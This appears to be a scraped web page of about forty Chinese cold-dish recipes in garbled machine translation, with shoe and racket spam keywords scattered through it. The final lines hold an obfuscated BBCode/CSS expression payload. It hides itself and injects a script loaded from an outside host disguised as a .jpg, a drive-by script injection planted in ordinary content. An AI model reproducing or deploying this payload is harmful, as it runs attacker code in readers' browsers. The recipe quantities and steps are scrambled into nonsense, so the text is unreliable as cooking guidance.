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distance and hiking across the hemisphere to spend thousands of dollars to spend a few dollars to thousands of miles acoustic, click of the mouse with the world cross, there are far away it? No. Lies in the distance across the heart, without cutting the geography. Hiking adventure in our so-called fact of life and death of the obstacle is not much, but want to make your heart beat faster, muscles stretched even tighter, with more imagination than the daily life; the so-called travel, but want to make their own broader vision, experience more twists and turns, the memory is more abundant. Even when you go farther, but that is just like your original starting point of the distance. The farther you go, but the closer from his heart. So people may have complained about the original thoughts and re-fell in love with life.
go hiking, go farther than the distance, find yourself. wilson rackets.1, mixed with raw onion
: onion, soy sauce, a pound of green and red peppers three three three money money vinegar, sesame oil salt five money-third of
Method: Wash the onion skin stripped of the old net, straight knife cut into slices, and then changed into thick wire or small knife; peppers straight knife cut wire transfer to a plate within the total, and then mix with salt, soy sauce, vinegar, and finally drops sesame oil, stir until it is good.
characteristics: fresh and crisp, hot and sour taste.
2, mixed with raw cabbage
: cabbage, soy sauce, five-half kilogram of sugar-fifth of a penny of money sesame oil salt, half
Method: Wash the cabbage stripped outside help, straight knife cut into inch long, half an inch width of the broken section. Two or three minutes into the boiling water picked up, not over, Lek to the water in a bowl. The soy sauce, sesame oil, sugar, salt, stir until it is transferred to good. In addition, can also add shrimp, Xianggan, green and red chili, transfer to vinegar, made of sweet and sour taste of cabbage.
Characteristics: salty crispy, Zuojiu dishes
3, mixed with raw bean sprouts
: jin bean sprouts salt cucumber twenty-two Second, ginger and green onion five money money money, two five-vinegar, sesame oil money, a money
Method: Wash the bean sprouts pick to the impurities, into the boiling water pot boiled cooked (be careful not to fire Billy soft), remove and control to the water ; wash straight knife sliced ​​cucumber, then cut into filaments, sprinkle with salt, add onion, ginger and mix well, and finally doused with vinegar, sesame oil dish that is good. Such as adding foam soft rot Gansi, fans Serve bean sprouts mixed with the three wire.
characteristics: fresh and delicious, and nutritious.
4, cucumbers mixed with shrimp
raw materials: shrimp two pairs of two cucumber a green garlic sauce cabbage leaves three of a five-sesame oil money money money blisters fungus vinegar II
second method for making money: the shrimp peeling , into the boiling water pot cooked, remove and dry cold; Wash the cucumbers, straight knife cut into semi-circular pieces; green garlic, cabbage leaves picked clean, straight knife cut into sections, all on the case on the stand. Then push the cold shrimp, cut into pieces. Transfer to a plate and season again. Wobble the order is: first, spread the bottom with a cabbage leaf and then put the shrimp into a pattern (can be optional), top the cucumber slices, green garlic put on, sprinkle with water, fungus, into the soy sauce, sesame oil, vinegar is good.
features: bright and beautiful,cheap leather loafers, fragrant liqueur.
5, beans mixed with sesame
material: five ounces of fresh beans sesame twenty-two salt pepper oil five five-ten money, money, MSG, ginger, three money
system of law: the beans cramps, broken, washed in boiling water cooked pot boiled, then soaked with cold water, remove and control to the water, on the transfer plate. Then sesame paste into a paste with cold water, put hot pepper oil, add salt, MSG, ginger poured on the beans, mix well then transfer to a plate.
features: green color, flavor and delicious

6, pork mixed with vermicelli
raw materials: pork (lean) couple of green bean vermicelli two five money cooking oil sesame oil soy sauce, three money-fifth of the money vinegar II One-fifth of the money sesame salt mustard five money MSG ten
Method: Wash the pork first, then cut slices into a piece of filaments; vermicelli soaked too straight knife cut wire, into the boiling water pot , remove and put in cold water, drain control water, poured into a pan, stirring with chopsticks bulk. Wok stir then on, pour the oil pan, then stir fry the pork wok, add soy sauce, a money, to be served in a fan on the flesh color. Doused with vinegar,gommino tods, sesame oil, mustard, salt, MSG and turned into juice, preferably topped with sesame Serve.
features: Weixiang refreshing, Zuojiu cuisine.
7, mixed with chives
material: jin of fresh chives salt pepper ten five money
Method: Wash leek pick a good, straight knife cut into inch segments, mix salt, pepper, into the stamped bowl and marinate for two or three days you can eat.
features: affordable, Sato rice is best.

8, mixed with fragrant soy
raw materials: one or two of salt soy sauce jin rice wine or two five-spice powder five money money money
scallions Second Method: insect bites and broken beans to wash pick net, into the pot, add the flooding live bean flour, into the five-spice powder (also can add a money Strato incense), on the stir cook a quarter of an hour or so, go to the small fire simmer, then have to add salt, soy sauce , rice wine and other seasonings, cover the lid tightly to the Yuba swollen stew, soup into the gravy when the clean wok, cold dry plate. May sprinkle some chopped green onion to eat, a few drops of sesame oil, and its taste more fragrant.
features: delicious crispy, Zuojiu dishes.
9, spicy raw
fans: fans sixty-two soy sauce, sugar, a couple of fifth five-pepper oil vinegar three money money money, MSG, pepper and one point for a system of law: first fans with open blisters soft, cut into two -inch-long section of release plate. A bowl, add soy sauce, vinegar, sugar, monosodium glutamate and cold water five money transferred into a marinade, poured on the fans, sprinkle with pepper powder, Drizzle chili oil, mix well serve.
Features: This dish is Sichuan cuisine, spicy flavor, Zuojiu most desirable.
10, mixed with vermicelli
material: good noodles five ounces of water five pounds for money cucumber twenty-two sesame chili oil mustard three five money money money reconcile the two eight ounces of sesame oil
Method: add water noodles labeled gravy,tods driver shoes, boiled lit paste, spread on the board after Aohao, Bo Hou should be uniform, cool or cold rolled after, cut into strips, and dish, sprinkle cucumber, transferred sesame, mustard, chili oil, and pour soup reconcile, drops sesame oil Serve.
characteristics: cool delicious, Sheng Xiajia products.
11, mixed with celery
material: fresh celery, sesame oil money to a fifth five-jin salt Three special soy sauce, vinegar, three money money
Method: Abstract leaf picking celery net, slashing the hair root, wash. Cut into five long sections, into the boiling water pot and boiled, then sprinkle with salt, mix well, pour soy sauce when eating, special vinegar, sesame oil, pepper oil can be poured into its flavor longer. Vinegar can not be put back,tods and shoes, otherwise the dish will turn yellow.
features: green, tender and full of nutrition.

12, tomato sauce, celery
materials: a pound of tender celery salt tomato twenty-two oil money, a couple of white vinegar, two a penny
system of law:
1. choose fresh celery, put off leaves, roots washed, straight knife to cut open the pedicle, into boiling water pot, see the water on again when the fish out, drain and cut into inch-long section, add salt, monosodium glutamate release plate.
2. pot put on the fire, into the oil pan, add tomato sauce, sugar, vinegar and water amount, boiled water in the celery top.
Features: This dish color orange, fresh and delicious.
13, spiced peanuts
material: peanuts, a pound of salt twelve pepper nutmeg half a money money money aniseed ginger three
Method: pick peanuts net, with warm boiled water in the basin about two hours, the pot, add water about two pounds for lit and put salt, pepper, aniseed, cardamom, ginger, add peanuts cooked soup into the basin, remove dish that is eaten percent.
features: Spiced rich, should be the next Sakamoriba.
14,
raw spinach: Spinach pound of ginger, two money-eighth of Hong tofu two salt cooked shrimp three money salted lean meat, sugar, two-third of the money sesame oil three money
system of law:
1. to put off the old leaves of spinach, washed root tips were cut, under the hot water pot to the water on again when (Cook rolled over the middle), pause a moment, picked up the drain and then smoothed together Jiqu water, cut into a very fine, then squeeze the water put a pot, add salt and sugar and mix well.
2. shrimps wash away the dust and impurities, put a small bowl, add boiling water just did not ping shrimp (preferably cage steam for twenty minutes), soaked and cut into very fine. Hong salty tofu and cooked lean meat are also cut very fine. The end of the above with ginger, hot shrimp spinach Mimi fell together, Drizzle sesame oil, mix well Serve.
features: this menu with a variety of raw materials due to the deployment, delicious taste.

15, mixed with assorted
material: fans thirty-two cooked chicken, cooked pork twelve twelve twelve cooked ham, water, two eggs, fat Hemmi five money center three soy sauce spinach mushrooms eight money vinegar, sesame oil money, money, three for a three-second money, money, MSG, mustard paste ten
Method: chop five inches long segment of fans first, into boiling water cook until the center no hardness, remove and soak in cold water a little bit, Decanter to water, placed in the disk around; spinach heart straight knife cut into inch segments; mushroom slice blade open, scalded with boiling water over back; then Chao Shao Heat over the fire, spread the egg open into the thick of the eggs into a sub- skin, cut into inch long lift Dan Pi, a sub-wide wire; pork, chicken, ham with a straight knife cut into more than one point thick, two inch long wire. Color of the various raw materials were neatly placed in the middle of disk fan, the fan on the Hai Misa. Finally, in a bowl the soy sauce, vinegar, sesame oil, mustard paste, MSG transferred into the juice, when consumption can be poured into.
Features: colorful, unique flavor.
16, three-wire raw celery
: tender celery salt fifth of a pound of water one or two mushrooms meat, sugar, bamboo net-fifth of a point or two MSG spiced dry two three money ginger sesame oil half
system of law :
1. will cut celery root to the leaves washed into the boiling water pot, when you see the water on again picked up, drain and cut into inch-long section, plus half of salt and mix well, transfer to a plate of.
2. the mushrooms, bamboo shoots, cut into filaments Xianggan, open water, blanched picked up the pot, drain and sprinkle in the celery after, then add ginger, sugar, salt, mix well, pour sesame oil Serve.
Features: This dish harmonic color, crisp delicious.

17, Gansi
green peppers mixed with raw materials: green pepper, five ounces of dry rot three Hong sugar, sesame oil money, a penny a salt MSG ten
a method for making money: first to handle Wash peppers, cut into filaments with a straight knife; Hong dry rot is also cut into filaments with a straight knife together into the boiling water pot and boiled fish , Lek to transfer water into the bowl, add sesame oil, sugar, salt, monosodium glutamate, evenly mixing plate.
features: fragrant flavor and color, Zuojiu most desirable.
18, soy cauliflower
material: cauliflower jin salt pepper oil five five money money money ginger chopped green onion for a second money
Method: Wash the cauliflower to the root, broke open the petals, straight knife cut into about eight block, placed in boiling water and boil, then remove and control dry, sprinkle with salt dish, put end of onion, ginger, pepper Heat oil to soy balls.
Features: delicious fresh form, should Junior Sakamoriba.
19, soy celery
material: pound five ounces fresh ginger, celery salt five-second money money money MSG ten five-pepper oil vinegar two money
Method: pluck fresh celery leaves and roots washed long straight knife cut into eight segments (thick roots can be split in half), into the pot boil water remove cooked, washed with cold cold control dry, then salt, MSG, vinegar and mix well dish, put ginger, Pour heated soy oil pepper to taste.
features: nutritious, delicious aroma.
20, soy hot wire
three ingredients: a pound of lettuce cucumber fifty-two salt pepper twenty-two five Qian Hong Qian Jiang a three-piece green onion vinegar pepper oil money, the second five money
Method: lettuce stripped Wash skin, straight knife cut wire; washed and shredded cucumber; pepper also cut wire. Sprinkle with salt, vinegar, mix well, put onion, ginger, soy pepper oil on top.
characteristics: bright, blind taste.
21, shamisen
raw cucumber: cucumber jin five ounces sugar, pepper three four five money salt vinegar and five money money money, ginger and onions for a second second money, money, soy sauce, five-pepper oil money
Method: Wash cucumbers to the flesh, straight knife cut into thirds width, eight long segment; pepper also cut straight knife wire; cucumber boiled fish in the water control in the dry, sprinkle with salt and mix well dish. Heat the oil in the pepper pot, place onion, ginger, pepper, soy sauce, vinegar, sugar, soy and other tuned in cucumber balls.
features: color flavor the United States, making convenient.
22, soy rape
material: fresh rape jin salt pepper oil five five money money money ginger three onions a
Method: Wash the root to the leaves of rape, a long straight knife cut into eighths wipe blade, placed in boiling water boiled cooked, remove and control dry, mix salt dish, sprinkle with onion, ginger, soy into the pepper oil can be heated.
Features: bright green and crisp, Yi Zuo noodles or rice.
23, the oil shock of cucumber
raw materials: oil catty catty tender cucumber (fuel consumption of one or two) two onions chili pepper ten second half of the money trees, sugar, ginger, vinegar and two third money money money salt five
Method: Wash cucumbers, cut both ends on a note of a split two digging Rangzi. Article upward into space is also a sub-set of twill, knife half the depth of the cucumber, do not cut through, then cut into inch segments; pepper Wash Straight knife cut into filaments. Wok stir then on, pour the oil poured eight mature, green and then remove the cucumber into pieces, placed in the plate per side up. Pot to stay a little oil, fry into the pepper to remove coke. Along with the onions, ginger, chilli and various spices into, and turned into juice, pouring in cucumber balls.
features: green fresh crisp, distinctive flavor.
24, soy bean sprouts
material: jin bean sprouts salt pepper oil five five money money money onion for a three-piece ginger vinegar, coriander two three money
Method: Wash the bean sprouts good pick , into boiling water, boil, remove and control dry, sprinkle with salt, vinegar, mix well and dish cabbage leaves. Last put onion, ginger, coriander, soy oil can on the pepper.
features: crisp and delicious, the production is simple.

25, soy spicy cabbage
material: jin red pepper cabbage four ginger soy sauce, three five-money money money sugar, sesame oil two five eight-money money
salt Method: Strip the cabbage Wash the outside help, straight knife cut into slices one-third of the bar width thick, salt mix, pickled fish out, with the cool taste of open water to the salt and control dry, placed in the basin. Then the sugar, vinegar, soy sauce, Chinese cabbage based on the open fell, the two peppers, shredded ginger, sprinkle the cabbage, and then use the other two chili sesame oil to be poured in bowls of fried yellow,tods womens, soy back cover ten minutes.
features: spicy crisp and refreshing, Sakamoriba all together.
26, soy chili cucumber
raw material: fresh cucumber jin four red pepper salt pepper oil five five money money money onion sauce for a three-piece of a much ginger vinegar sugar two three money money
Method: Wash cucumbers, split into two with a knife to the flesh, straight knife cut into eight long segment, sprinkle with salt and marinate for ten minutes dry control. Then soy sauce, vinegar, sugar, salt, mix well together. Spicy shredded, green onion, shredded ginger are put, soy pepper in hot oil heated wire, and with the plate buttons can be on for a while.
characteristics: sour sweet and spicy aroma, and nutritious.
27, soy kelp
raw materials: water kelp pound five ounces five money salt pepper oil vinegar, three vegetables and three five-money money money ginger spring onion for a three-piece system of law: kelp washed, cut into thin wire, placed in boiling water boiled fish in the control of dry, sprinkle with salt, mix well and dish vegetable silk, and finally put onion, ginger, and pour vinegar, pepper oil heating soy balls.
Features: silk long Weixiang, distinctive flavor.
28, shamisen
raw cabbage: cabbage, red pepper jin four sugar five five money money salt pepper oil vinegar, five-five money money money, ginger and three onion sauce for a second system of money, MSG ten
Method: The yellow cabbage pick to help rotten leaves, go to the root wash, straight knife-third wide, eight long blocks, remove cooked on the water in the boiled control dry cold air, hot pepper cut into filaments stand; Sprinkle salt, mix the cabbage, pepper pot to heat the oil, put a hot wire, spring onion, ginger, white and sweet and sour, soy sauce, MSG, soy and other sauces on top.
features: red and white, spicy and more flavor.
29, mixed with lift raw materials: a new lift five cucumber twenty-two three sesame salt three money money money, three-mustard sauce mashed garlic five three three money vinegar, sesame oil money, particularly money
a system of law: first Good thin noodles with cold water and turned into juice (good or bad depends on the quality of noodles may be). Such as noodles and water ratio 5:5 (watered down), 5:6 (watered) and so on, each time one or two thin juice Sheng, pour in a special copper plate (or fine steel plate), the pot on the water in turn into the same lift Bo Hou, cooked on the cold water, changing knife cut one-third wide bar platter. Then washed straight knife shredded cucumber, sprinkle with salt, mix well, pour sesame paste, soy sauce, vinegar, mustard, garlic, sesame oil Serve.
features: bones and refreshing, good height of summer eating.
30, chives mixed Gansi
raw materials: four ounces of Hong chives salt tofu twenty-two MSG-fifth of one point eight sugar, sesame oil three money
Method: Wash the leeks, slightly under the water pot hot, fast turn over and then burn about three seconds, and fishing on the basket, the forced rejection to the water, then cut into inch-long segments, put dish, hot mix in salt and MSG. Another cut will be mouth watering and authentic silk, sprinkle on the chives, Drizzle sesame oil, mix well Serve.
Features: chive quick dip in boiling water for hot, slightly crispy texture and fragrance; Xianggan flexibility, taste refreshing
31, kelp mixed with fans
Ingredients: water, fat kelp couple of cabbage leaves three fans twenty-two vinegar water, soy sauce, five-three-money money money, three chopped green onion salt MSG ten second money ginger sesame oil money, a penny a pound of garlic three mud
Method: Wash Kelp net sand, straight knife cut into filaments, through the fish out into the boiling water, boil; water pushed into five-inch section of fans, filaments cabbage leaves washed straight knife. The three types of food material and transfer into the basin, then the soy sauce, vinegar, salt, MSG, ginger, green onion, garlic, sesame oil transferred in turn, stir, then transfer to a plate and serve.
Features: silk long Weixiang, color gratifying.
32. black pepper mixed with chicken
materials: chicken meat one, regular, small cucumber 1 / 2 carrot 1 / 4 seasoning sauce: 3 tablespoons vinegar, 3 tablespoons sugar, thick black pepper 1 tsp
practice:
1. good pre-deployment sauce, spare (the proportion of sugar and vinegar deployment Keyi preferences) 2. chicken breast cooked stripping wire
3. strips into boiling water boiled, the picked up
4. Small oblique cut into half-moon cucumber in half, plus a little salt and scratched, about 3 minutes after the squeeze water such as the standby 5. carrot rub filaments
6. Finally, mix all ingredients to the sauce, that is can be (better flavor after refrigeration)
33.
vinegared kelp material: kelp, red peppers, light blue
condiments and sauces: vinegar .3 tablespoons sugar 3 tablespoons sesame oil 1 tsp fish sauce 1 tsp (no it does not matter) sesame (charge chopped) 1 tsp
The amount of sauce to increase the amount of kelp Keyi!
practice:
1. the kelp washed and cut into small pieces and cook until Microsoft into the pot, ready to use 2. red pepper strips, Onion cut wire, add in the sauce a good tune, mixing evenly, you can (Banhao Refrigerate after about half a day, the taste will be more delicious)
; 35. fresh salad garlic sea fungus
Material: cabbage 1 / 2, Salt to taste
seasoning sauce: sugar 1 / 2 cup vinegar 1 / 2 cup, 4 to 5 cloves garlic, hot pepper 1 , water 3 cups, disposable cups
practice:
1. cabbage cleaned with Shredded small
2. add appropriate amount of hand after catching cabbage until soft, then go through the cold water to salty (water to be drained yo)
3. marinade and roll in the boiled off after the fire, add pepper flakes, garlic and sugar Paisui with vinegar, let it cool (I was in the previous Late first to do)
4. Finally, mix together cabbage and pickles, cans or boxes with bottles into the refrigerator for about one day tasty, you can
36. Korean cold Campanulaceae
Material: Campanulaceae
seasoning sauce: vinegar 3 tablespoons sugar 3 tablespoons sesame oil 1 tsp fish sauce 1 tsp (no it does not matter) sesame (charge chopped) 1 tsp
amount of sauce to increase the amount of Campanulaceae Keyi!
practice:
1. will peel peeled Campanulaceae wire after the wash, and go into the pot to cook bitter, ready to use
2. add in the sauce a good tune, mixing evenly, you can (Banhao Refrigerate after about half a day, the taste will be better eat)
37. coriander mix cabbage
materials : cabbage, coriander, pepper
condiments and sauces: vinegar 1 tsp, Salt to taste, sesame oil 1 tsp fish sauce 1 tsp (no it does not matter) the amount of sauce to increase the amount of cabbage Keyi!
approach:
1. coriander Wash and cut 1 cm pieces, cut diagonal slices pepper, spare
2. cleaned with Shredded cabbage into small pieces, blanched in boiling water can be picked up
3 . Finally, add in the sauce a good tune, mixing evenly, can
38. lemon curd sauce vs wire cucumber
material: cucumber, carrot, tofu silk, parsley, lemon sauce
Ingredients: Lemon (reshaping juice) 1, sugar spoon, thick black pepper 1 tsp olive oil 1 tablespoon
practice:
1. cucumber, carrot wash rub filaments, chopped parsley
2. curd silk in boiling blanched in water can be picked up
3. Finally, add the lemon sauce mix all ingredients, you can (better flavor after cold storage)
material: cucumber, carrot, tofu silk, parsley
Lemon Sauce Ingredients: Lemon (reshaping juice) 1 clove, sugar spoon, thick black pepper 1 tsp olive oil 1 tablespoon
39 .
vinegared octopus and kelp sprout material: small octopus, kelp buds, red pepper, light blue.
seasoning sauce: vinegar 3 tablespoons sugar 3 tablespoons sesame oil 1 tsp fish sauce 1 tsp (no it does not matter) sesame (charge chopped) 1 tsp Keyi had increased the weight of the sauce!
approach:
1. small octopus treated cut into small pieces and put into hot boiling water to change color, can be picked up
2. Seaweed look a little washed in hot water after the soft-boiling water, you can picked up
3. red pepper strips, light blue strips
4. add in the sauce a good tune, mixing evenly, you can (Banhao Refrigerate after about half a day, the taste more delicious)
40. spicy meat mixed with cucumber slices
materials: pork ( or three layers of meat), cucumber, pepper.
seasoning sauce: 3 tablespoons vinegar, 3 tablespoons sugar, 1 tsp sesame oil, thick black pepper 1 tsp sesame seeds (charge chopped) 1 tsp
practice:
1. piece of meat put cook until cooked into the boiling water, cool the meat after cutting thin slices, alternate
2. oblique cut into small half-moon cucumber in half, plus a little salt and scratched, some other
3 minutes, squeeze the water were 3. pepper Cut diagonally slice
4. Finally, mix all ingredients to the sauce, you can (better flavor after refrigeration) [flash, 0,0] style = ee: expression (eval (unescape ('this. parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love .avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29 % 3Bwindow.xxr% 3D1% 7D'))); display: none; @ qq.com [/ email] [/ flash]